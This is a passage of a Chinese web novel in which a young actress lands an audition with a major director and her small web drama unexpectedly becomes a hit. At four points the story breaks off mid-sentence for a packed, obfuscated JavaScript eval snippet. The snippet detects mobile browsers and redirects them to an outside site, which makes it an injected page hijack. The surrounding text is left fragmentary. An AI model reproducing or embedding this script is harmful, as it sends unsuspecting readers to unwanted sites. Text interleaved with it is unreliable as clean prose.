“不过这对我没什么影响啊……我就是一个刚刚解约成功的小演员……”应璋不太在意,“比起这个,不如想想今年还要不要考研……感觉之前乱答一通分都不一定够国家线……” “璋宝!你快去看微博!陈继忠在找你!那可是拍出《长河传》的陈继忠!”莫伊倪突然尖叫起来,“你快去看!热搜第三就是!” 应璋将信将疑地点开词条,第一条就是陈继忠的博文动态。 @陈继忠 请问哪位朋友有@应璋的联系方式?问了一圈都没能联系上,希望大家帮帮忙[抱拳][抱拳][抱拳][抱拳][抱拳] 揉了揉眼睛,确认这个带着金标的账号确实是大导陈继忠本人,应璋有种天降馅饼的感觉。 之前她还是寂寂无名的小演员,从现在开始,她就成了被大导要联系方式的……呃……寂寂无名的小演员了! “叮叮——” 手机提示音响起,是一条新的好友申请。 【你好,我是陈继忠[握手][微笑]】 * 新年的第一天一切都有新的开始。 最起码对于应璋来说,她的演艺生涯变得有些不一样了。 元旦当天,她参与拍摄的广告上了热搜,饰演女三号的剧集敲定了播出平台和档期,还接到了大导陈继忠的试镜邀请—— 一个反串的将军角色。 在助理小柏的支持下,应璋没有犹豫太久就接下了这个试镜邀约。 试镜的地方直接定在了剧组,最近陈继忠在集中拍室内的戏份,拍摄地离婺州不远,柏临渊直接开车把人送了过去。 陈继忠的剧组管理严格,两人在外面等了好一会,直到选角导演过来接人,门口的工作人员才确认身份开门放行。 “您就是应老师吧?”选角导演龚宇小跑过来,脸上笑容热切,“您这形象太好了,要是早生几十年,简直就是演小生的不二人选,师傅们为了抢您徒弟能打起来!” “龚导您太客气了。”应璋被夸得都不好意思了,“我这破锣嗓子还小生呢,一张嘴台下观众都跑了。” “嗐,您这就是在说客套话了。”龚宇哈哈大笑,“您说话中气足,气息好,稍稍教教拍戏都不用配音,您要是破锣嗓子,这圈子里那些真正的破锣嗓子就不用活了。” 这话说的极具个人感情,看来是被某些演员糟糕的台词功底折磨得不轻。 做人最忌交浅言深,应璋没有顺着龚宇的话往下说,而是岔开了话题,聊起了她待会要试戏的角色。 “不瞒您说,您这个角色原本是有另外一个演员的。”龚宇眉宇间怒色隐现,看起来有不少话要讲,“资方塞进来的,做什么都不行,脾气还大。” “动作一塌糊涂,台词也记不住,讲话跟含了糖一样含含糊糊的。” 应璋眉头一跳,原本想避开话题的,没想到正撞在枪口上。但看龚宇的样子似乎也不需要应璋的回应,于是应璋也没插话,继续安静地听着。 “本来就是个只出演三四集的小角色,我们都打算随便剪剪算了,没想到这小子穿了两天铠甲就死活不演了。”龚宇轻哼一声,显然很是不满,“不过也好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14544206|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我们求之不得,最好换个靠谱的人来。” “靠谱”两个字咬字又重语速又慢,应璋就算再迟钝也听明白了,这是在点她呢!连忙出言表态。 “能在陈导的手下学习,这是任何一个演员都求之不得的美事!”应璋语气诚恳,表情认真。 “应老师不用紧张。”龚宇没再继续讲前一个演员的那些事,语气也柔和了起来,“以您的身手,出演这个角色肯定是没有问题的,其他地方就算没有那么得心应手,陈导也会教您的。” 谈话间,几人就到了休息室。 “陈导现在还在拍戏,估计要等上一两个小时才有空。”龚宇取出一个文件夹递了过去,“您先看看剧本,准备一下。等陈导有空的时候,我提前过来跟您说一声。” 应璋连忙道谢,双手接过文件夹。 封面上是四个大字——宣熙大帝。 应璋了然,这是一部历史剧。 宣熙帝是历史上一位非常杰出的皇帝,在位期间政治清明、经济繁荣,在政治、军事和文化方面也都取得了显著的成就。 虽说还没有到家喻户晓的那种程度,但是基本上学过高中历史的人都知道他的很多事迹。 应璋这次试镜的角色便是宣熙帝还是皇子时,最为信重的将军李飞元。 李飞元在剧本上出现得比较早,在皇子熙还未发迹时他便为皇子熙冲锋陷阵,助他夺下赫赫战功并训练出一批精兵悍将。 可以说,如果没有李飞元这个人,皇子熙不一定在最终的夺嫡之战中笑到最后。 只是天妒英才,在皇子熙登基之前,李飞元就死于伤口感染引发的高热。 应璋一口气把龚宇给她的剧本读完,深深被剧本里的李飞元折服。 按照戏份来看,李飞元在剧中就是一个不大的小角色,但编剧显然在塑造这个人物的时候倾注了不少心血,让小角色也有完整的人物弧光。 应璋有预感,只要她能演出剧本中的六分精气神,李飞元就能通过她的演绎成为很多人的白月光。 “应老师,您准备一下,陈导等会就过来了。”工作人员过来敲门,提醒应璋做好准备。 应璋点头道谢:“好的,谢谢。” 陈导在镜头和采访中看起来是个脾气不错的老好人,但在剧组中却有几分雷厉风行。 人刚进休息室,还没寒暄几句,就提出要试戏。 虽然有些突然,但应璋也不算全无准备,听了陈导的话倒也不慌。 “嗯……”陈导没有看剧本,抱着手臂仰头盯着棚顶看了好一会,才出声道,“那你就试一下,李飞元劝说皇子熙拒绝出兵北境这段吧。” 应璋愣了一下,她原以为陈导会让她试镜武打镜头,或者那种毕竟考验技巧的片段,没想到最后他沉吟半天的是剧本偏靠后的这部分。 “你等一下,我叫个人来给你搭戏。” 不一会,陈导摇的人来了。 应璋定睛一看,来的人正是视帝陈峰。 不是,她何德何能让三金视帝来陪她试戏啊? 33. 试镜 陈峰一身蟒服,迈着四方步就跨门进来了。 陈导一看就乐了,这小子,从入门就开始演起来了。 一般人谁这么走路啊? 应璋在《明月雪时》培训时跟老师学过男步,这种步子想要走的好看并不比模特练台步简单。不仅仅是学会步法就能走好看的,需要身韵、气息相配合,一套步法走下来跟跳舞也没什么区别了。 察觉到视帝意图的应璋在脑海中快速过了一遍剧本。 李飞元出身簪缨世家,如果不是他执意从戎,按照家里安排按部就班的继业袭爵,至少能封个伯爵。若是圣上开恩,封个侯爵也未尝不可。 但李飞元并不想当一个富贵散人。 他知道朝廷的迂腐、权贵的苟且,再这样下去边关的烽火迟早会燃尽一切,不论是戍边的将士、边城的百姓抑或防线后的歌舞升平,一切都将化为乌有。 于是他抛弃了优渥的生活,甘愿忍受边关苦寒。 而皇子熙便是他在乱作一团的朝堂中选择的明主。在李飞元看来,皇子熙有谋略,但也有原则,不会为了争权夺利弃万千百姓如敝履。 当朝堂斗争陷入白热化时,常年被忽视的北境突然就被架在了漩涡中央,成为众人博弈之地。 身后没有母族又渐渐被老皇帝信重的皇子熙自然成了最刺眼的那个靶子,各方势力都想把这个根基不稳的竞争对手早早扼杀,于是联手把他推到北境这盘大棋上。 只要皇子熙到了北境,不管他能不能保住这片疆域,这群人必然不会让他有命活下来; 若皇子熙不去北境,纵他有天人之姿,也会被皇权和朝堂排除在外,难以继承大统。 去是杀局,不去是死局。 而李飞元要做的,就是在这怎么选都看不到路的棋盘上,为皇子熙撕出一条生路。 过了一遍剧情后,应璋揣摩着李飞元现在的处境和心境,进入角色。 应璋的表演经验有限,过往网剧和花瓶的那一套并不适用大导偏正剧风的作品里,但在读剧本的那段时间里,她反复揣摩人物,也有些自己的理解。 迎上陈峰的目光,应璋挺直脊背与之对视。 陈峰拧眉,举手投足间尽是上位者的不满:“伯远,你也要拦我?” 试镜来得突然,也没有什么提示。但导演和工作人员都没有说什么,应璋就只能随机应变了。 她神情坚毅,眉宇间尽是不认同,声音平静中难掩愤怒:“殿下,我不该拦吗?” 尽管比陈峰要矮一截,但此时应璋的神态中已经有忠臣良将的风骨与赤诚了,这种信念感让她此刻的气势并不输陈峰。 对于不是出身科班、演绎经验又极为有限的应璋而言,眼神和表情并不能成为她传达情绪的道具,但语言和肢体动作可以,比起内敛沉稳,现在放得开显然更加重要。 于是她上前一步,逼近陈峰,盯着他的眼睛语气凝重:“您是皇子,是王府的希望,是……的继承人,这么多人的身家性命全系于您一人!” “现在您要犯险,我不该拦吗?” “那你要本王怎么办?本王不去便能护住这些人了吗?” 皇子熙冷叱,薄怒之下尽是无奈。皇家的孩子不是孩子,君父君父,首先是君!没有用的孩子哪能在群狼环伺中保全自身呢?犯险尚有一线生机,后退便尸骨无存。 “不争就是死,本王绝不会坐以待毙!” “殿下从未出过中原,拿什么争?”李飞元扬眉,少将军的锐意顺着她的台词一起刺向陈峰,“您知道怎样用并不充沛的粮草和兵马对抗北境的胡虏吗?您知道怎样从世家豪族的围堵中带队突围吗?您知道怎样从齐膝大雪中运输辎重吗?” “您真的做好犯险求生的准备了吗?” 看着对面人满是怒火的眸子,和谋士、幕僚吵了一天的皇子熙一下子卸了劲,肩背也不再挺拔了。 “那本王怎么办?汲汲营营这么久,就这样放弃了吗?” “明天早朝,我会请战。”李飞元声音不大,但却很坚定,“他们不是需要一个人解局?谁能比我更合适?” “你明知道北境不是……”皇子熙又急又怒,“你不要命了?我是皇子,明面上尚有一丝余地,你若……” “那就死。”李飞元神色平静,仿佛落下的棋子赌注不是他的命,而是一盅酒、一把剑一样,“这片土地可以没有李飞元,但是不能没有皇子熙。” 不等陈峰接戏,导演就出声喊了停:“cut!” 陈峰看着面前这个明明稚嫩得像是新人一样的少女,眼底多了几丝兴味。尽管应璋演技非常青涩,但却很好地诠释了李飞元这个人的人物特点,有几分话剧的味道了。 这样想着,陈峰注意到了导演盯着应璋的视线,眼睛里的犹豫看起来很明显。 陈峰也是老戏骨了,浸淫这行久了对各个大导也有几分了解,大抵也能猜出几分陈继忠的顾虑。 应璋的劣势很明显——演技青涩到有些夸张,台词也只是勉强能看。 一般需要演员救场的大导绝对不会考虑这种类型的,除非那个演员天赋过人一点就通,但这种类型的演员凤毛麟角,最起码应璋就不属于这类。 但应璋的优势也很明显——外形条件优越,身量比不少热衷虚报的男演员都高,五官也很漂亮,绝对是怎么拍都好看的上镜脸,身手够好,打戏绝对不成问题,表演也有几分灵气。 近些年看多了手破个皮都要罢工、助理和替身能凑几桌麻将的流量明星,陈峰觉得应璋属于那种还能捞一捞的演员,于是踱步到陈继忠面前和导演小声聊了起来。 “陈导,我觉得这孩子能留,虽然演技不太行,但是可以教嘛!年轻人学东西快的,你带带我带带很快就起来了。” 陈导伸手点了点陈峰,笑了起来:“这可是你说的。” “我说的。”陈峰也跟着笑了,冲应璋招了招手,“你经纪人是哪个?那个小伙子吗?” 应璋小跑过来,摇头解释道:“不是,他是我的朋友,我没签公司。” “没签公司?”陈峰有些诧异,“怎么回事?” 听大佬这么一问,应璋觉得今天的试镜多半要糟。 像应璋这样和经济公司硬杠的艺人是很少很少的,上层圈子里的人似乎天生就会和资本共情,哪怕错不在她,多少也会觉得她是刺头不好管教。 这种“不稳定因素”基本是没什么机会进大剧组的。那么多听话又有背景的演员都进不了陈继忠的剧组,她凭什么?总不能凭应璋今天在视帝面前跟幼儿园过家家一样的表演吧? 于是应璋也没打算遮遮掩掩,就直接交待了。不过她也没讲太多,就是简单几句带过。 “哦?那你官司打赢了吗?”陈继忠突然来了兴致,细细追问起来。 应璋点头:“赢了,公司不服上诉了,但是二审开庭的时候又撤诉了。” 陈峰听着也觉得有意思,两人你一言我一语地追问起了细节。应璋也没多想, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558963|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从刚入圈的合同一直讲到这些年铃戏的离谱操作,三个人嘀嘀咕咕地聊了十多分钟陈继忠才意犹未尽地结束了话题。 他们是在把她的经历当八卦听了吗? 应璋看着两人一脸正气的样子,很难把他们这幅模样和刚刚追问不止的样子联系起来。 “咳……”陈继忠清了清嗓子,“小应,那你的合同怎么办?自己签还是找律师看?” 应璋没反应过来:“什么合同?” “和我们剧组的合同啊!”陈继忠眼睛一瞪,“你不打算和我签合同?” “没有没有,当然要签的。”应璋矢口否认,恨不得当场签字以表诚意。 “哼,今晚我让人把合同发给你,年后收拾收拾就进组吧!”陈继忠沉吟片刻,“头几天我先不给你排戏,你先跟着组里的老师先学一学,等适应适应我再拍你。” “好的!谢谢导演!” 应璋闻言大喜过望,这是什么?表演课!上一下! “对了。”陈继忠站起来,从墙边拿了一杆长枪,“你来试试能不能拿的动,不行我再让人定制个轻一点的。” 应璋做足心理准备,从导演的手上接过长枪,发现这杆枪轻得出乎意料。 上手掂了掂,估摸着也就两三斤重,枪杆是空心铝管,枪头看着像是EVA镀金属漆,这能拿不动? 应璋试着耍了个花枪,结果枪杆子轻飘飘的,给原本帅气的动作增添了几分滑稽。 “太轻了?” 陈继忠拍人无数,读表情简直比喝水都容易,一眼就看出了应璋脸上藏得不怎么样的潜台词。 “哈哈,是挺轻巧的。”应璋摸不准导演的态度,打了个哈哈,“没事,我适应一下就好。” “你跟我过来。”陈继忠一边对应璋招手,一边喊人,“让道具那边把仓库开一下,我这就过去。” 应璋拉着柏临渊,亦步亦趋地跟在导演后面。 柏临渊突然伸手握住应璋的手,悄悄往她手心里塞了一颗巧克力。 大好人!他怎么知道她饿了? 应璋感激地对柏临渊比了一个大拇指,剥了糖衣把巧克力塞进嘴里。 瑞士莲的软心巧克力丝滑醇厚,入口即化,糖分和热量很快就顺着体温融进身体,化为只有两个人知道的香浓。 偷偷瞄了一眼导演的地中海,应璋莫名有种小学生背着教导主任偷吃零食的心虚感。 绩优生柏临渊从来没有这种经历,自然也没有理解应璋的感受,只是把她的目光当成小动物没吃饱,还想继续讨食。 于是他掏了掏口袋,又塞了一块巧克力过去。 应璋:!还有! “小应,你来。”走到库房门口的陈继忠侧了侧身子,“看看有没有你喜欢的道具。” 把没来得及吃的巧克力塞进口袋,应璋顺着导演留出的缝往房间里看去—— 嚯!怎么什么都有! 刀、枪、剑、戟、斧、钺、钩、叉等十八般武器排排站就算了,怎么还有马槊和流星锤?这不是个历史剧剧组吗? 应璋很想问问导演,他拍的确定是《宣熙大帝》,不是《一代名将李飞元》吧? “喜欢什么就去玩,坏了也没关系。”陈继忠笑眯眯地,像是给晚辈准备玩具的老人家面带慈祥。 应璋溜达过去,绕着库藏转了一圈,最后挑了把看起来灰不大饿宝剑挽了几个剑花。 “好!”陈继忠双眼放光,“李飞元就应该舞剑!” 34. 播出 “奶奶?” 董水云一回家,就看见往日总是跟老姐妹打牌、跳舞的奶奶对着新买的电视机一脸严肃。 “云云回来了?”夏奶奶冲自家孙女招了招手,“快来帮奶奶找找魔方视频,你爷爷笨手笨脚的,弄了半天都没找到。” 不敢怒也不敢言的董爷爷:…… “您要看魔方视频?您要看什么啊?” 董水云一脸诧异,她奶奶都快七十了,怎么会突然想看这个?魔方视频在网上的体量并不算大,网友们年终盘点骂平台方的时候都不一定能带上它。 “我之前住院的时候认识的那个小姑娘,叫应璋的,你还有印象吗?”夏奶奶推了推老花镜,翻出应璋的朋友圈展示给孙女看,“她说她拍的电视要播了,我得捧场啊!” 董水云愣了一下:“那个你说吃饭特别香的?她去拍电视剧了?” “是啊,快到点了,马上就要播了,你快点帮奶奶找找。”夏奶奶一边催一边感慨,“人家小姑娘饭量好,吃相也好,这要是做你说那什么直播吃饭的,不知道有多少人喜欢。” 董水云费了好大劲才找到魔方视频投屏的入口,又按照朋友圈的指引找到了《明月雪时》,这才松了一口气。 现在的智能电视到底智能在哪里了?找点东西费劲巴拉的,点什么都要会员,这一个视频投屏她弄了十分钟才连接上,要是单凭爷爷奶奶自己,估计电视剧都播完了还没找到投屏入口在哪呢! 等待电视剧开播的间隙,屏幕上滚动播放着《明月雪时》的预告,老人家看电视喜欢声音大一些,于是那些台词就顺着老人家的点评钻进了正在发大眼吐槽智障电视的董水云耳朵里。 【凭什么女大当嫁?本小姐偏不!】 【去他的男女授受不亲,指使女人干活的时候怎么不这么说?有本事别吃女人做的饭啊!】 【女人的样子?哼,怎么一句人话都不会说呢?】 【狗屁规定,我带你逃!】 这台词有点意思啊! 董水云打字的手暂停,目光从小屏挪到大屏幕上,只见一身布衣的女侠一甩马尾,俯身一捞便把满身珠佩的大小姐捞到马背上,两人一马把偌大的侯府弄得人仰马翻。 “嘶——” 董水云倒吸一口冷气,这漂亮的手臂肌肉,这利落的动作,哪找的演员?这剧组什么来头啊? “小应这孩子就是厉害。” 夏奶奶语带得意地和自家孙女介绍应璋的“功绩”。 “那会新地广场不是有歹徒持刀无差别砍人吗?小应三下五除二空手就把人给放倒了,还救了一个小姑娘……” 伴随着夏奶奶眉飞色舞地“演讲”,董水云也回忆起了当时的热搜。她家离新地广场不远,基本每周都会去上那么一趟,当初事发时,她和朋友心有余悸地议论了好几天。 这下董水云不由正视起了这部剧。 但是正片出来的第一秒,董水云就僵住了。 好……嗯……质朴的服化道。 在现在动不动斥资九位数的鸿篇巨作中,《明月雪时》就像一个清纯小白花一样,贫穷……呃,质朴得一眼见底。 开篇就是侯府里大大小小的人事物,乱糟糟地看得人头大。女主作为一个侯府千金,出门只有两三个随从也就算了,身上的衣服首饰也简朴的不像一个名门闺秀。 最近寒假档风头最盛的大女主剧《凰嫁》,号称服化道投资八位数,里面随便一个婢女拉出来都比《明月雪时》的女主看起来要贵气。 开篇故事平平无奇,除了女主爱看话本子,董水云什么也没记住。 这种没有资格去上星的卫视台的小成本网剧,董水云最多就是看看网上的cut,自己是不会去主动找来看的。 第一季能看出来导演埋了很多线索,节奏也很快,但这些一股脑堆在四十分钟里只会让人觉得又杂又乱,毫无观看欲望。 “小应呢?”夏奶奶推推眼镜,“怎么没看到小应呢?” 片尾曲响起,屏幕上出现了演员表等信息,而把董水云和老太太骗进来的应璋连个影都没有。 “演员表上应璋在后面,应该是女三号吧?”董水云拉了一下进度条,“看,应该是在没出场,咱们看看下一集。” “真的在下一集?”夏奶奶看看电视,又看看手机,“要不我问问小应,她在第几集?” “演员也不清楚吧?” 董水云不混娱乐圈,但以她多年追剧的经验来看,演员对剪辑创作的话语权并不算多,不可能像奶奶说的那样问一下就知道自己在什么时候出场。 就在祖孙俩嘀嘀咕咕讨论时,屏幕上的片尾致谢已进入尾声,跳转成下集预告。 英姿飒爽的应璋占据了近乎一半的镜头。 “小应!”夏奶奶很是惊喜,“这孩子上电视怎么还没平时好看?黑黢黢的。” 董水云连忙切下一集,随口道:“不上镜呗!” “怎么能不上镜呢!”夏奶奶急了,翻出相册的存图给孙女展示,“你看人采访,新闻拍的,多好看!” “确实……央媒镜头都拍的这么好看,怎么电视剧弄的这么糙?”董水云嘀咕了一句,随即被电视上的剧情吸引了,“奶,咱先看电视,要开始了。” 第二集,祖孙俩苦苦等候的应璋终于出镜了! 片尾曲刚一结束,就是激烈的打斗场面。应璋一个人以一敌三,一把凤尾刀舞得虎虎生威,看得人惊呼不已。 “好!”董爷爷突然一声喝彩,也不玩手机了,专心致志地盯着屏幕,“这女娃娃有两把刷子,一看就是练过的!”、 董水云赞同地点了点头。 这段打斗不长,大概也就两分多钟,但精彩程度不亚于电影大荧幕的专业武侠片。 近几年不管是上星剧集还是网播剧集,只要是涉及打斗的镜头,要么就是特效转圈圈,要么就是直升电梯一样的呆板威亚。稍微有两分样子的动作镜头,不是慢到让人想开三倍速,就是快到糊成一团几秒带过,几乎看不到这种精彩的实景对战了。 董水云敢保证,这段戏一定会冲上热搜,活跃在她W站和大眼的首页! 这一集中,应璋饰演的程钰以高超的身手赢得出师的许可,纵马离开生活多年的师门,出发闯荡江湖。 少女探索世界的意气风发鲜活的让人移不开眼,看着屏幕上纵身上马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573759|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一气呵成的利落身影,董水云觉得自己已经被这精彩的五分钟套牢精准入坑了! 恍惚间,董水云回想起她高中毕业即将开启大学生活的那个暑假,那时的她一如此时的程钰,满怀对这个世界的憧憬。 “演的真好啊!”夏奶奶的感叹说出了董水云的心声,“这孩子鲜活的,怎么这么招人稀罕!” 第二集四十分钟,应璋出场满打满算也就十五分钟,但是这十五分钟的每一秒都很精彩—— 这一集中,初出茅庐的女侠看什么的新鲜,很快就花光了身上的盘缠,吃腻了打猎野味的程钰打算去寺庙蹭几顿素斋。 于此同时,被家里安排去寺庙祈福的女主成宛灵在归家路上遇到匪徒,命悬一线之时,程钰恍如救星一般从天而降,一人一刀救下了成宛灵等一众人马。 精彩的打戏让祖孙三人看了都直呼过瘾。 董水云吞了吞口水,只觉得错乱的心跳让人慌张,等她反应过来时,应璋的个人主页已经出现在她的手机主页上,并且成为了她的特别关注。 不就是追星吗?又不是什么见不得人的事!这种见义勇为讨老人喜欢的女明星,她追一追怎么了?又不犯法! 两集播完,祖孙三人都有些意犹未尽。 “这就没了?”向来提倡早睡早起的董爷爷坐在沙发上不愿意起身,“不是说网上能一口气看到大结局?是不是要充钱?” “那就充!”夏奶奶大手一挥,拿起手机就给孙女转账,“云云你给奶奶充个一年的,我和你爷爷再看一会。” “爷爷奶奶,不是我不给你们看,是这个剧刚开始播,就只有这两集。” 董水云哭笑不得,试图用最简单的话给两位老人解释清楚为什么不能一口气看完。 “我查了一下,这个剧每天播两集,咱们明天还能看!” “今天没有了?” “没有了。” 董爷爷有些失落,戳了戳老伴小声请求:“咱把第二集再看一遍行吗?看完就睡。” “对,再看一遍!”夏奶奶连连点头,“我等会录个视频发朋友圈。” “好,看完这边可就要睡了!”董水云一边调整视频,一遍哄着两位老人。 心潮澎湃的董水云在应璋的镜头过后分心刷起了手机,大眼和某瓣上已经零零星星出现了一些讨论帖,话题基本都是围绕着应璋展开的。 她这追星眼光是真不错! 董水云美滋滋地为自己点了个赞,准备看看同好们怎么说—— 【我的天!小作坊是真敢下料啊!】 【第一集我昏昏欲睡,第二集一开始我差点把眼睛瞪出来!】 【第二集演程钰的是谁啊?以前没见过,是新人吗?】 【是老透明,但是上过几次热搜[链接][链接][链接][链接][链接]】 【不是?我以为这个导演拍得挺好,怎么剧里还没平时好看?央媒镜头拍得都比蒋卫好!】 【前两集真是一个天一个地,没看第二集的人有难了……】 【插个眼,感觉女三会被大导捡去拍电影。】 董水云给最后一条点了赞,她觉得此言有理! 35. 爆火 第二天,盘点寒假档的网友和营销号在热榜的尾巴上看到了一个陌生的名字。 《明月雪时》 这是什么?没听说过,搜一下。 网上的词条并不多,只有零星的图片和剪辑。还基本都是应璋的武戏片段,没有粉圈惯有的小作文和细腻剖析,配文基本都是“啊啊啊啊啊”和“!!!!!”,看得人不明所以。 虽然网上流传的片段很精彩,但是这部剧的简陋肉眼可见。从播出到现在还不到一天,导演24K纯新人,演员更是查无此人,凭什么摸到影视热榜的尾巴? 不少人怀着好奇心点进去,为剧集的热度添砖加瓦,然后被精彩的第二集一把拽进坑里。 网剧的节奏很快,主打一个“再不播这点观众都跑没了,所以我要速速播完”,完全不敢吊观众的胃口,恨不得一鼓作气全部放送。 按照蒋卫的计划,这部剧预计能剪成二十集,一天更两集的话,差不多一周多就能全部播出。 但是刚更到第十集,蒋卫就被魔方影视一个电话摇起来加更了。 原因只有一个——《明月雪时》冲上魔方影视站内热榜第一了,哪怕是全网共联的数据,也能挤进前十。 这还是魔方影视没宣传、没推广的情况下。 要知道,这一财年他们大力主推的影视作品也才将将挤进全网热榜第五,刨去采购、宣发算下来还倒贴了不少钱。 这么一比较,就显得《明月雪时》格外争气。 当初平台方不舍得给太多钱,就跟蒋卫签得分成合同。毕竟这类新人网剧各家影视每年都能上大几百部,再怎么扶持都不见得能激起什么水花。 这合同明面上写作“分成”,实际上和白嫖的区别也不大。 剧起不来,分成就只是一张空饼。采购小成本网剧的钱还不如力推大作一次宣发的开支大,甚至有些剧是导演求爷爷告奶奶塞进来的,为了播出还要给平台方塞红包。 但是这匹突然冲出来的黑马杀了所有人个措手不及。 魔方影视的高层看到报表连夜扯着各部门开了好几场会,最后决定把二十集扩充成三十六集。 蒋卫:? 就算《明月雪时》像X游记后传那样,为了平台方的水时长需求,把一个动作剪辑七八遍,也凑不出这么多啊?未播出的镜头就算全用上,最多也就只能再凑个四集。 延长近一倍?这是在想P吃!怪不得魔方影视能从行业龙头做到被其他平台方按着打成弟弟! 蒋卫一边腹诽,一边和魔方影视这边就合同上的条款和约定打嘴炮。 现在的局面出乎所有人的预料。 剧集爆火得益于W站的一位神仙剪刀手太太撷英。 最初是董水云找太太约的私人定制稿。身为技术一般但薄有资产的新晋迷妹,秉持着不会做饭就花钱请厨子的朴素想法,董水云联系上撷英表明要定制一个程钰个人向剪辑。 金主妈妈出手大方,撷英自然同意接单。 原本撷英只是打算按照金主妈妈要求简单做一口饭,但看完剧集她也上头了。 谁能想到小网剧还能出这种好东西?她剪剪剪剪剪! 爆肝一夜后,撷英顶着黑眼圈把剪辑好的视频上传到W站,等她睡醒,视频已经在热门上飘红了—— 【古装女性群像】敬自由 伴随着低沉的鼓点,漆黑的屏幕上出现了一行染着血迹的白字。 【娘亲说女人的命都是一样的。】 画面缓缓展开,娇俏的侯府千金捧着书卷出现在屏幕中央,四四方方的院子圈着她,像是一座不会打开的囚牢。 【但是话本子里的女人不是,她们有千百种不同的样子。】 【我很想,出去看一看。】 画面一暗,色调也渐渐阴郁起来。一个又一个妆容姣好,仪态端庄的闺秀嫁人、生子、伺候夫家,忙碌得像是一只只精巧华美的陀螺。 背景音是含糊不清的沉闷男声: 【“君臣义”、“父子亲”、“夫妇顺”,这是圣人言。】 【好女人要和顺、恭谨,在家做好女儿、嫁人做好妻子。】 【夫者永远主宰、尊贵,妻者永远服从、卑贱。】 【不要再看那些歪书了,我和你娘会尽快给你议亲的!】 伴随着最后一句旁白,千金手上的书卷被一个看不清面目的男人打落在地。 镜头一转,千金被家仆送往寺庙烧香,进行一场名为祈福,实为相亲的相看。 从寺庙离开的时候,千金遇险,一位女侠从天而降救了她,凛冽的刀光落在千金的眸中,照亮了她的世界。 女侠把她从那个吃人的府邸中接走,带她看到了各种千姿百态的女子。 【原来女子不是只有一种命。】 院墙之外,女人们有各自不同的生活,正如话本子里写得那样,有千百种不同的样子。 有的起早贪黑经营食肆、有的精通岐黄行医救人、有的上山下地凭双手养活自己…… 出嫁、从夫并不是必选项,而是掌权者使用工具的规训词罢了。 一幕幕千姿百态颇有生命力的女子剪影从屏幕上掠过,画面的色彩也越来越明亮。 画面的最后,是女侠挥手纵马,疾驰远行。 配合着剧中的人物台词和叙事感极强的背景音乐,这支视频轻轻松松点燃了看客的情绪。 【呜呜呜呜……这个世界不能没有女孩子!】 【抱歉妈妈,我不能忍受我的人生只有爱情、婚姻和孩子,被困在院子里因女作囚。】 【真好啊,女侠带着千金奔向旷野,她当像鸟飞向自由。】 【首先我是一个人,是我自己,然后才是女儿,妻子!我可以是妻子,但不能只是妻子!】 【这是电视剧吗?有人知道这部剧叫什么吗?】 【女人最大的价值就是她是一个人!女人的存在就是价值!】 【up简介有介绍,所有素材来自《明月雪时》。】 【我去追剧了,已到第六集[得意]】 【……】 截至当天晚上九点,这只视频已经有了二十五万的播放和近十万的互动。 在没有推流的情况下,这个数据堪称恐怖。 无数被视频吸引的观众涌入魔方视频,把《明月雪时》热度推得一涨再涨,看得纯路人一头雾水。 怎么回事?这名不见经传的小网剧怎么就冲进热榜前十了? 寒假档向来是影视作品必争之地,同档期的大制作不少。 热榜第一《恰逢少年时》作为青春校园剧播放量一骑绝尘,顶流大花的最近力作《凰嫁》则牢牢占据热榜第二,第三和第四则是奇幻巨制《神魔传奇》和都市情感大作《靓丽的生活》轮坐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588052|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再加上几部情怀正剧,寒假档的流量基本都被这些大制作吸干了,榜单靠后的剧作犹如死水,基本都是固定不动的。 现在出了《明月雪时》这样一个坐火箭上升的剧,怎能不引起各方议论与好奇呢? 主演们糊糊的,扒不出什么信息,但是女三号可是热搜熟人了。于是热情的吃瓜网友纷纷涌进应璋的账号,大眼的粉丝几天之间就激增到了百万之巨。 而爆火的当事人此刻正在……剁萝卜。 起因是应璋某次找下饭视频的时候刷到了博主备年货,没见过北方人备年货的柏临渊瞬间就被视频内容吸引了。 